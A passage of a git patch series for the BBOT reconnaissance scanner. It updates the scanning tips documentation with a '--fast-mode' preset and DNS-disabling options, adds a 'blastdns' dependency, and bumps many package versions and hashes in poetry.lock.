"cloudcheck-8.6.0.tar.gz", hash = "sha256:009c719f7395ac1a3facc301f9d8e6e3cee1a37bff3b9c92c1bcea5360f02fff"}, ] @@ -3581,4 +3734,4 @@ type = ["pytest-mypy"] [metadata] lock-version = "2.1" python-versions = "^3.9" -content-hash = "4edffa596e1de3a328f8a2af196ad6eef06e5546cf2c37dbf05f7257c9f2a203" +content-hash = "8d879d655684a6bce91c96dec22ea9bae7f1dce3132fc07f6cfc546670fb44a3" diff --git a/pyproject.toml b/pyproject.toml index cbd1d8bebc..8bcf295f29 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -58,6 +58,7 @@ orjson = "^3.10.12" ansible-core = "^2.15.13" tldextract = "^5.3.0" cloudcheck = "^8.6.0" +blastdns = "^1.5.2" [tool.poetry.group.dev.dependencies] poetry-dynamic-versioning = ">=0.21.4,<1.10.0" From a1920cbab2957402e40033e97bcdae689b71fbb2 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 9 Feb 2026 17:14:21 -0500 Subject: [PATCH 221/912] update docs --- docs/scanning/tips_and_tricks.md | 16 +- poetry.lock | 2024 ++++++++++++++++-------------- pyproject.toml | 5 +- 3 files changed, 1086 insertions(+), 959 deletions(-) diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index f8d1acd9e6..eb7ae16ed3 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -134,20 +134,28 @@ By default, BBOT only shows in-scope events (with a few exceptions for things li bbot -f subdomain-enum -t evilcorp.com -c scope.report_distance=2 ~~~ -### Speed Up Scans By Disabling DNS Resolution +### Speed Up Scans with `--fast-mode` + +If you have a ready list of hosts/urls and just want to scan them as fast as possible without any extra discovery, use `--fast-mode`. It's a CLI alias for `--preset fast`, which disables non-essential speculation and DNS resolution: + +```yaml +--8<-- "bbot/presets/fast.yml" +``` If you already have a list of discovered targets (e.g. URLs), you can speed up the scan by skipping BBOT's DNS resolution. You can do this by setting `dns.disable` to `true`: +If you don't care about DNS-based scope checks, you can go even further by completely disabling DNS resolution: + ~~~bash # completely disable DNS resolution -bbot -m httpx gowitness wappalyzer -t urls.txt -c dns.disable=true +bbot -m httpx gowitness -t urls.txt -c dns.disable=true ~~~ -Note that the above setting _completely_ disables DNS resolution, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're relying on IP-based targets or blacklists. In this case, you'll want to use `dns.minimal` instead: +Note that the above setting _completely_ disables DNS, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP whitelist or blacklist. In this case, you'll want to use `dns.minimal` instead: ~~~bash # only resolve A and AAAA records -bbot -m httpx gowitness wappalyzer -t urls.txt -c dns.minimal=true +bbot -m httpx gowitness -t urls.txt -c dns.minimal=true ~~~ ## FAQ diff --git a/poetry.lock b/poetry.lock index d28c5a51e1..9a5251bfd2 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2,14 +2,14 @@ [[package]] name = "annotated-doc" -version = "0.0.3" +version = "0.0.4" description = "Document parameters, class attributes, return types, and variables inline, with Annotated." optional = false python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "annotated_doc-0.0.3-py3-none-any.whl", hash = "sha256:348ec6664a76f1fd3be81f43dffbee4c7e8ce931ba71ec67cc7f4ade7fbbb580"}, - {file = "annotated_doc-0.0.3.tar.gz", hash = "sha256:e18370014c70187422c33e945053ff4c286f453a984eba84d0dbfa0c935adeda"}, + {file = "annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320"}, + {file = "annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4"}, ] [[package]] @@ -26,19 +26,18 @@ files = [ [[package]] name = "ansible-core" -version = "2.15.13" +version = "2.17.14" description = "Radically simple IT automation" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "ansible_core-2.15.13-py3-none-any.whl", hash = "sha256:e7f50bbb61beae792f5ecb86eff82149d3948d078361d70aedb01d76bc483c30"}, - {file = "ansible_core-2.15.13.tar.gz", hash = "sha256:f542e702ee31fb049732143aeee6b36311ca48b7d13960a0685afffa0d742d7f"}, + {file = "ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35"}, + {file = "ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8"}, ] [package.dependencies] cryptography = "*" -importlib-resources = {version = ">=5.0,<5.1", markers = "python_version < \"3.10\""} jinja2 = ">=3.0.0" packaging = "*" PyYAML = ">=5.1" @@ -57,7 +56,6 @@ files = [ ] [package.dependencies] -importlib-metadata = {version = ">=4.6,<6.3", markers = "python_version < \"3.10\""} packaging = "*" pexpect = ">=4.5" python-daemon = "*" @@ -76,37 +74,34 @@ files = [ [[package]] name = "anyio" -version = "4.9.0" -description = "High level compatibility layer for multiple asynchronous event loop implementations" +version = "4.12.1" +description = "High-level concurrency and networking framework on top of asyncio or Trio" optional = false python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "anyio-4.9.0-py3-none-any.whl", hash = "sha256:9f76d541cad6e36af7beb62e978876f3b41e3e04f2c1fbf0884604c0a9c4d93c"}, - {file = "anyio-4.9.0.tar.gz", hash = "sha256:673c0c244e15788651a4ff38710fea9675823028a6f08a5eda409e0c9840a028"}, + {file = "anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c"}, + {file = "anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703"}, ] [package.dependencies] exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} idna = ">=2.8" -sniffio = ">=1.1" typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} [package.extras] -doc = ["Sphinx (>=8.2,<9.0)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx_rtd_theme"] -test = ["anyio[trio]", "blockbuster (>=1.5.23)", "coverage[toml] (>=7)", "exceptiongroup (>=1.2.0)", "hypothesis (>=4.0)", "psutil (>=5.9)", "pytest (>=7.0)", "trustme", "truststore (>=0.9.1) ; python_version >= \"3.10\"", "uvloop (>=0.21) ; platform_python_implementation == \"CPython\" and platform_system != \"Windows\" and python_version < \"3.14\""] -trio = ["trio (>=0.26.1)"] +trio = ["trio (>=0.31.0) ; python_version < \"3.10\"", "trio (>=0.32.0) ; python_version >= \"3.10\""] [[package]] name = "babel" -version = "2.17.0" +version = "2.18.0" description = "Internationalization utilities" optional = false python-versions = ">=3.8" groups = ["docs"] files = [ - {file = "babel-2.17.0-py3-none-any.whl", hash = "sha256:4d0b53093fdfb4b21c92b5213dba5a1b23885afa8383709427046b21c366e5f2"}, - {file = "babel-2.17.0.tar.gz", hash = "sha256:0c54cffb19f690cdcc52a3b50bcbf71e07a808d1c80d549f2459b9d2cf0afb9d"}, + {file = "babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35"}, + {file = "babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d"}, ] [package.extras] @@ -119,7 +114,7 @@ description = "Backport of asyncio.Runner, a context manager that controls event optional = false python-versions = "<3.11,>=3.8" groups = ["dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5"}, {file = "backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162"}, @@ -127,18 +122,19 @@ files = [ [[package]] name = "backrefs" -version = "5.8" +version = "6.1" description = "A wrapper around re and regex that adds additional back references." optional = false python-versions = ">=3.9" groups = ["docs"] files = [ - {file = "backrefs-5.8-py310-none-any.whl", hash = "sha256:c67f6638a34a5b8730812f5101376f9d41dc38c43f1fdc35cb54700f6ed4465d"}, - {file = "backrefs-5.8-py311-none-any.whl", hash = "sha256:2e1c15e4af0e12e45c8701bd5da0902d326b2e200cafcd25e49d9f06d44bb61b"}, - {file = "backrefs-5.8-py312-none-any.whl", hash = "sha256:bbef7169a33811080d67cdf1538c8289f76f0942ff971222a16034da88a73486"}, - {file = "backrefs-5.8-py313-none-any.whl", hash = "sha256:e3a63b073867dbefd0536425f43db618578528e3896fb77be7141328642a1585"}, - {file = "backrefs-5.8-py39-none-any.whl", hash = "sha256:a66851e4533fb5b371aa0628e1fee1af05135616b86140c9d787a2ffdf4b8fdc"}, - {file = "backrefs-5.8.tar.gz", hash = "sha256:2cab642a205ce966af3dd4b38ee36009b31fa9502a35fd61d59ccc116e40a6bd"}, + {file = "backrefs-6.1-py310-none-any.whl", hash = "sha256:2a2ccb96302337ce61ee4717ceacfbf26ba4efb1d55af86564b8bbaeda39cac1"}, + {file = "backrefs-6.1-py311-none-any.whl", hash = "sha256:e82bba3875ee4430f4de4b6db19429a27275d95a5f3773c57e9e18abc23fd2b7"}, + {file = "backrefs-6.1-py312-none-any.whl", hash = "sha256:c64698c8d2269343d88947c0735cb4b78745bd3ba590e10313fbf3f78c34da5a"}, + {file = "backrefs-6.1-py313-none-any.whl", hash = "sha256:4c9d3dc1e2e558965202c012304f33d4e0e477e1c103663fd2c3cc9bb18b0d05"}, + {file = "backrefs-6.1-py314-none-any.whl", hash = "sha256:13eafbc9ccd5222e9c1f0bec563e6d2a6d21514962f11e7fc79872fd56cbc853"}, + {file = "backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0"}, + {file = "backrefs-6.1.tar.gz", hash = "sha256:3bba1749aafe1db9b915f00e0dd166cba613b6f788ffd63060ac3485dc9be231"}, ] [package.extras] @@ -169,233 +165,271 @@ lxml = ["lxml"] [[package]] name = "cachetools" -version = "6.2.4" +version = "6.2.6" description = "Extensible memoizing collections and decorators" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "cachetools-6.2.4-py3-none-any.whl", hash = "sha256:69a7a52634fed8b8bf6e24a050fb60bff1c9bd8f6d24572b99c32d4e71e62a51"}, - {file = "cachetools-6.2.4.tar.gz", hash = "sha256:82c5c05585e70b6ba2d3ae09ea60b79548872185d2f24ae1f2709d37299fd607"}, + {file = "cachetools-6.2.6-py3-none-any.whl", hash = "sha256:8c9717235b3c651603fff0076db52d6acbfd1b338b8ed50256092f7ce9c85bda"}, + {file = "cachetools-6.2.6.tar.gz", hash = "sha256:16c33e1f276b9a9c0b49ab5782d901e3ad3de0dd6da9bf9bcd29ac5672f2f9e6"}, ] [[package]] name = "certifi" -version = "2025.1.31" +version = "2026.1.4" description = "Python package for providing Mozilla's CA Bundle." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" groups = ["main", "dev", "docs"] files = [ - {file = "certifi-2025.1.31-py3-none-any.whl", hash = "sha256:ca78db4565a652026a4db2bcdf68f2fb589ea80d0be70e03929ed730746b84fe"}, - {file = "certifi-2025.1.31.tar.gz", hash = "sha256:3d5da6925056f6f18f119200434a4780a94263f10d1c21d032a6f6b2baa20651"}, + {file = "certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c"}, + {file = "certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120"}, ] [[package]] name = "cffi" -version = "1.17.1" +version = "2.0.0" description = "Foreign Function Interface for Python calling C code." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] -markers = "implementation_name == \"pypy\" or platform_python_implementation != \"PyPy\"" -files = [ - {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, - {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, - {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, - {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, - {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, - {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, - {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, - {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, - {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, - {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, - {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, - {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, - {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, - {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, - {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, - {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, - {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, - {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, - {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, - {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, - {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, - {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, - {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, - {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, - {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, - {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, - {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, - {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, +markers = "platform_python_implementation != \"PyPy\" or implementation_name == \"pypy\"" +files = [ + {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, + {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, + {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, + {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, + {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, + {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = 